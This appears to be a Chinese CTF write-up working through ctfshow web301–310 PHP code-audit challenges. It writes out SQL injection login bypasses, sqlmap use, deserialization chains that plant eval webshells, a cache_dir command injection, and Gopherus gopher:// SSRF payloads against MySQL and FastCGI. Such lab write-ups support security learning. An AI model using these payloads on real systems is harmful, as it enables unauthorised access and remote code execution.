web301
首先用seay扫了下,没有显示漏洞
然后进了/index.php,显示1 Access denied for user 'root'@'localhost' (using password: YES)
非常奇怪 像是SSL或者SQL登录。抓个包看下,也只是发送了
1 2 3 4 5 6 7 8 9 10 GET /index.php HTTP/1.1 Host: showshenji Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g6a2d37i0gc5fgbb6qc2581hom Connection: close
查看代码目录,有个login.php
。浏览器进去发现是个后台登录页面。代码上是通过调用checklogin.php
来处理的。
查看checklogin.php
,里面代码非常乱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );session_start ();require 'conn.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];$userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp ($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );
然后看到了sql查询字符串拼接。
1 $sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;
那就说明$username
可以注入。
1 2 username = ' union select 1 # password = 1
这里的password为什么必须要为1?因为在之前的sql查询字符串拼接中,通过union把查询结果设置为1,然后把password设为1,就能让
1 strcasecmp($userpwd,$row['sds_password'])
为0,从而让$_SESSION['login']=1;
,成功登录。
web302 直接下载代码。和上一题没有任何不同。
看提示是只修改了一行,也就是
1 2 3 4 5 6 7 if (!strcasecmp (sds_decode ($userpwd ),$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; }
sds_decode()
是fun.php
中的一个函数。
1 2 3 function sds_decode ($str ) { return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" ); }
只需把union注入时的内容过一下函数就能对上了。
1 2 username = ' union select 'db89a0f46d92918f0b185d8fbfc19c03' # password = a
web303 1 2 3 if (strlen ($username )>6 ){ die (); }
加了对username长度的限制。
fun.php
加了一句:
1 echo sds_decode ("admin" );
推测密码为admin?
1 2 username = admin password = admin
因为sds_user.sql
中存在一条记录:
1 INSERT INTO `sds_user` VALUES ('1' , 'admin' , '27151b7b1ad51a38ea66b1529cde5ee4' );
登录后,可以进入/dpt.php
,里面有个新增的按钮,调用了dptadd.php
。查看dptadd.php
,发现除$dpt_has_cert
外的所有参数全部可控。
burp抓个包,放到sqlmap跑一下。
可以注出数据库是sds
,表名是sds_fl9g
,列名是flag
,最后得到flag。
web304 增加全局waf
1 2 3 function sds_waf ($str ) { return preg_match ('/[0-9]|[a-z]|-/i' , $str ); }
没什么用,同上题,登录admin后直接用sqlmap注入即可。
web305 同上题,登录没啥变化,发现sql记录->审计算法->发现可以用admin/admin进入。
fun.php
新增waf:
1 2 3 4 5 6 7 function sds_waf ($str ) { if (preg_match ('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/' , $str )){ return false ; }else { return true ; } }
ctrl一下查看在哪里利用,发现对所有输入都进行了waf的过滤。
发现了class.php
,里面定义了user类,疑似可以反序列化;然而ctrl了一下发现没有用到这段代码的地方
1 2 3 4 5 6 7 8 9 10 11 class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __destruct ( ) { file_put_contents ($this ->username, $this ->password); } }
然后尝试了一下绕过preg_match,包括数组绕过、PCRE绕过等;没绕过去就看了下wp,发现果然是眼瞎了。checklogin.php
有个反序列化的函数。可以使用class.php
,通过__destruct()
的file_put_contents
写马。
1 2 3 4 $user_cookie = $_COOKIE ['user' ];if (isset ($user_cookie )){ $user = unserialize ($user_cookie ); }
尝试写一个user的类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __destruct ( ) { file_put_contents ($this ->username, $this ->password); } } $user = new user ("a.php" ,"<?php eval(\$_POST['cmd']);?>" );$a = serialize ($user );echo urlencode ($a );
然后直接在/
下搜索flag文件。
1 cmd=system('find / -type f -name "*flag*" ' );
然后看到有个/tmp/flag.sh
,cat看看
1 2 3 4 #!/bin/bash mysql -e "DROP DATABASE IF EXISTS ctftraining; CREATE DATABASE IF NOT EXISTS sds;USE sds;CREATE TABLE \`sds_flabag\` (\`flag\` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;INSERT INTO \`sds_flabag\` VALUES ('$FLAG ');" -uroot -proot export FLAG=not_flag FLAG=not_flag rm -f /flag.sh
注:这里可以看到-uroot
和-proot
,说明这个mysqli的用户名和密码都是root,而不是像代码里conn.php
的root和phpcj。
mysqli是在conn.php
得知。
1 $mysqli =@new mysqli ($mysqlhost ,$mysqluser ,$mysqlpwd ,$mysqldb );
由于过于粗心丢了不少细节,本来这个题能不靠wp做出来的,令人感叹。
web306 提示说的是这题开始有MVC。
MVC 架构 是一种软件设计模式,用于组织代码以分离关注点,提高应用程序的可维护性、灵活性和可扩展性。MVC 代表模型(Model)、视图(View)和控制器(Controller)。这种架构模式特别适用于开发用户界面,尤其是 web 应用程序中,允许用户界面的多个视图和数据模型的独立修改。
模型 代表应用程序的数据逻辑。它直接管理数据、逻辑和规则,通常包括一个数据访问层,该层处理数据库的读写操作。模型负责访问存储数据的逻辑,提供数据的获取和存储的接口,但不涉及用户界面的处理。
视图 负责展示数据(即模型)并发送用户指令(如按钮点击)给控制器。视图通常是依赖于模型数据的,用于展示那些数据给用户。视图只是展示给用户的数据的一个或多个特定的表示,而不包含业务逻辑或数据处理的代码。
控制器 作为模型与视图之间的中介,处理用户的输入,调用模型对象进行数据的处理,最后将处理的结果展示给用户。控制器接收用户的输入(通常是通过视图),处理输入(可能涉及模型的修改),并通过视图输出结果。它解释用户输入,将其转化为对模型和视图的命令。
DAO(Data Access Object) 是一种设计模式,用于抽象和封装对数据源的访问。它提供了一个统一的接口来访问数据库,使得应用程序可以通过简单的接口与数据源交互,而无需直接使用 SQL 语句或关注数据库的具体细节。
思路是构造cookie直接未授权传包给dptadd.php。
看了wp,发现不太对。wp都是通过dao.php
的__destruct()
方法的conn->close()
来做的。这里说conn
是log
类,其close()
方法有个file_put_contents()
,可以写马。
1 2 3 4 5 6 7 8 9 10 11 class log { public $title ='log.txt' ; public $info ='' ; public function loginfo ($info ) { $this ->info=$this ->info.$info ; } public function close ( ) { file_put_contents ($this ->title, $this ->info); } }
但是,dao
类这里的conn
很明显是mysqli
类的,而不是log
类的,很令人费解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class dao { private $config ; private $conn ; public function __construct ( ) { $this ->config=new config (); $this ->init (); } private function init ( ) { $this ->conn=new mysqli ($this ->config->get_mysql_host (),$this ->config->get_mysql_username (),$this ->config->get_mysql_password (),$this ->config->get_mysql_db ()); } public function __destruct ( ) { echo $this ->conn; $this ->conn->close (); } ... }
PHP序列化的方法问题 后面咨询了一下Z3r4y 师傅,得到了“php的序列化和反序列化只传输‘属性’,不传递方法”的回复。也就是说,序列化时的这个方法仅仅是在序列化时候用的。以下面的poc为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class dao { private $config ; private $conn ; public function __construct ( ) { $this ->conn = new log (); } } class log { public $title ='nihao.php' ; public $info ="<?php eval(\$_GET['cmd']);?>" ; } $dao = new dao ();echo urlencode (base64_encode (serialize ($dao )));
序列化完成后是O:3:"dao":2:{s:11:" dao config";N;s:9:" dao conn";O:3:"log":2:{s:5:"title";s:9:"nihao.php";s:4:"info";s:27:"<?php eval($_GET['cmd']);?>";}}
,没有出现任何方法名,全部是属性名-值。
未做实验前在疑惑,这个代码与dao类定义时不一样,是否为一种“重写”?答案:不是。因为仅仅传递了属性,而未传递方法,方法仅仅是赋属性的一个手段,根本不存在方法,“重写”就更不是了。
类里的construct就是方便给类属性赋值,比如private和protected那些;但其实也先可实例化对象然后再给对象属性赋值的,但要把类里的private,protected那些改成public。因为只传递“属性”,所以改了也没事,总之意思就是construct是给属性赋值的一个手段
web307 查看逻辑,login.php
有unserialize()
方法,通过cookie的user
参数可控;service.php
定义了service
类,含有__wakeup()
魔术方法,会在unserialize()时调用。
后面发现service
类根本不需要调用,因为它是通过调用dao
类进行clearCache
函数的。config
类和dao
类组合就可以了。
1 2 3 class config { public $cache_dir = 'cache' ; }
1 2 3 4 5 6 7 8 9 class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); } }
组合使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); } } class config { public $cache_dir = ';echo "<?php eval(\$_GET[cmd]);?>" > ./aaa.php;' ; } $c = new dao ();echo urlencode (base64_encode (serialize ($c )));
看unseralize()
函数,login.php
和logout.php
各有一个unserialize
。 login.php
1 2 3 4 5 6 7 session_start ();error_reporting (0 );require 'controller/service/service.php' ;$user = unserialize (base64_decode ($_COOKIE ['user' ]));if ($user ){ header ("location:index.php" ); }
logout.php
1 2 3 4 5 6 7 8 9 10 11 12 13 session_start ();error_reporting (0 );require 'service/service.php' ;unset ($_SESSION ['login' ]);unset ($_SESSION ['error' ]);setcookie ('user' ,'' ,0 ,'/' );$service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $service ->clearCache (); } setcookie ('PHPSESSID' ,'' ,0 ,'/' );setcookie ('service' ,'' ,0 ,'/' );header ("location:../login.php" );
不能用的原因如下:
login.php
仅仅是反序列化了,没有调用反序列化后对象的方法;当然,如果在反序列化时触发了对象类的魔术方法,且魔术方法内含有敏感函数(如shell_exec
)那么这里也许就可以使用。
logout.php
将反序列化后的对象赋到$service
中,之后调用了$service
类的clearCache()
方法,这就让使用dao
类成为了可能。为什么不能用service
类呢?因为service
类是通过dao
类的clearCache
方法做shell_exec
,然而如果要反序列化service
的话,__wakeup()
魔术方法会被先调用,此时在service
类中会重新实例化dao
类和config
类。如果本地动态调试过,会发现这两个类不是反序列化字符串中所定义的类。因为反序列化无法反序列化方法,只能反序列化属性 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class dao { private $config ; public function __construct ( ) { $this ->config=new config (); } public function clearCache ( ) { shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); } } class config { public $cache_dir = ';echo "<?php eval(\$_GET[cmd]);?>" > ./aaa.php;' ; } $c = new dao ();echo urlencode (base64_encode (serialize ($c )));
web308 - SSRF打无密码MySQL 提示:需要拿shell
按照Kento大师启迪的初学者适用的审计过程,我们分成三步走:
寻找敏感函数,如shell_exec
,eval
,include
,file_put_contents
等。
在dao.php
下有clearCache()
方法,里面有shell_exec
函数。但是有个preg_match
挡住的waf,仅接受字母组成的输入。目前先保留绕过的可能性,看看别的地方;
1 2 3 4 5 public function clearCache ( ) { if (preg_match ('/^[a-z]+$/i' , $this ->config->cache_dir)){ shell_exec ('rm -rf ./' .$this ->config->cache_dir.'/*' ); } }
class.php
中有个log
类,其closelog()
方法中含有file_put_contents
函数。但是全局搜索closelog
方法和log
类,都没有使用的地方,而且这也不是魔术函数。
1 2 3 public function closelog ( ) { file_put_contents ($this ->title, $this ->info); }
找到敏感函数后,查看应用的方式。
最后没忍住诱惑看了wp 。原来是使用ssrf通过gopher打sql。
在fun.php
这段函数中有一个敏感函数curl_exec()
。就是执行一句curl。也是个敏感函数。
1 2 3 4 5 6 7 8 9 10 11 12 function checkUpdate ($url ) { $ch =curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, false ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, false ); $res = curl_exec ($ch ); curl_close ($ch ); return $res ; }
调用该函数的类在dao.php
的dao
类。
1 2 3 public function checkVersion ( ) { return checkUpdate ($this ->config->update_url); }
调用dao
实例的类在service.php
的service
类,方法叫checkVersion
。
1 2 3 public function checkVersion ( ) { return $this ->dao->checkVersion (); }
调用service
实例中checkVersion
方法的点在index.php
。这里对$_COOKIE['service']
进行反序列化,然后再进行checkVersion
的调用。
1 2 3 4 $service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $lastVersion =$service ->checkVersion (); }
那么,目前checkUpdate($url)
中,checkUpdate()可以被调用了,那么$url
该如何调用呢?在dao
类中,有$this->config->update_url
,而$update_url
是这样的。
1 public $update_url = 'https://vip.ctf.show/version.txt' ;
我们发现service
类的checkVersion
和dao
类的checkVersion
是同名的,那么就可以直接不使用service
类而使用dao
类。更遑论service
类的__wakeup()
魔术方法对dao
和config
两个类实例化的影响了。(logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用checkVersion)
那么我们就可以用dao
和config
两个类的反序列化进行SSRF。
这里又陷入了僵局,不知道该怎么SSRF进去。知道是用Gopher协议,但是不知道该打哪儿。
注意到config.php
中,这个mysql是无密码root。
1 2 private $mysql_username ='root' ;private $mysql_password ='' ;
关于为什么可以用SSRF和Gopher攻击没有密码的MySQL数据库,这里涉及到几个关键点:
Gopher协议的复用:Gopher协议被设计来检索文档、文件等,但其简单的文本基础让它可以被滥用来构造其他协议的请求,包括MySQL的。通过构造特定的Gopher链接,可以使受SSRF漏洞影响的服务器生成并发送几乎任意的网络请求。
MySQL协议的特性:在某些配置下,MySQL服务器可能不需要密码即可连接(例如,当MySQL配置为只允许来自localhost的连接,且没有设置密码时)。如果攻击者能够通过SSRF漏洞利用Gopher协议与内部或受限制的MySQL服务器通信,他们可能能够执行未授权的数据库查询或命令。
总之,SSRF配合Gopher攻击未加密码保护的MySQL数据库的可能性基于多种因素:旧协议的滥用、内部服务的宽松配置、以及应用程序的安全弱点。
使用Gopherus可以构造这样的Gopher链接。anaconda弄个py2环境就能用Gopherus了。
1 2 3 4 5 6 python .\gopherus.py --exploit mysql username: root query: select "<?php eval($_GET['cmd']);?>" into outfile "/var/www/html/a.php" gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%01%00%00%00%01
根据之前的推理,构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class dao { private $config ; private $conn ; public function __construct ( ) { $this ->config=new config (); } public function checkVersion ( ) { return checkUpdate ($this ->config->update_url); } } class config { public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01' ; } $a = new dao ();echo urlencode (base64_encode (serialize ($a )));
注意:路径和写入的内容都需加双引号,也许是要根据字符串来看。
1 select "<?php eval($_GET['cmd']);?>" into outfile "/var/www/html/a.php"
web309 - SSRF打FastCGI 提示:需要拿shell,308的方法不行了,mysql 有密码了。
再次审计内容,index.php
中checkVersion()
方法最后的返回值居然是显式返回的,可以尝试先curl以下百度的txt。
1 <h3>最新版本:<span class ="tpl -color -primary "><?php echo $lastVersion ;?></span ></h3 ><a href ="###">全部</a ></li >
修改web308的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class dao { private $config ; private $conn ; public function __construct ( ) { $this ->config=new config (); } public function checkVersion ( ) { return checkUpdate ($this ->config->update_url); } } class config { public $update_url = 'https://www.baidu.com/robots.txt' ; } $a = new dao ();echo urlencode (base64_encode (serialize ($a )));
无事发生。或许这段html是登录后才能显示的。
查看wp ,发现是SSRF打FastCGI 。当服务端是PHP语言+NGINX 时,就要考虑是否为FastCGI了。
FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。
gopherus可以打FastCGI。
尝试用gopherus,但是失败了。
1 2 3 4 5 6 7 Give one file name which should be surely present in the server (prefer .php file) if you don't know press ENTER we have default one: index.php Terminal command to run: tac f* Your gopher link is ready to do SSRF: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class dao { private $config ; private $conn ; public function __construct ( ) { $this ->config=new config (); } public function checkVersion ( ) { return checkUpdate ($this ->config->update_url); } } class config { public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH57%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%009%04%00%3C%3Fphp%20system%28%27ls%20-a%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' ; } $a = new dao ();echo urlencode (base64_encode (serialize ($a )));
复现失败!
web310 - SSRF读配置文件 直接读wp,发现可以使用file://
伪协议读配置文件nginx.conf。
复现失败! 自己尝试构建Payload多次未果,尝试直接使用wp1 和wp2 的payload也失败了。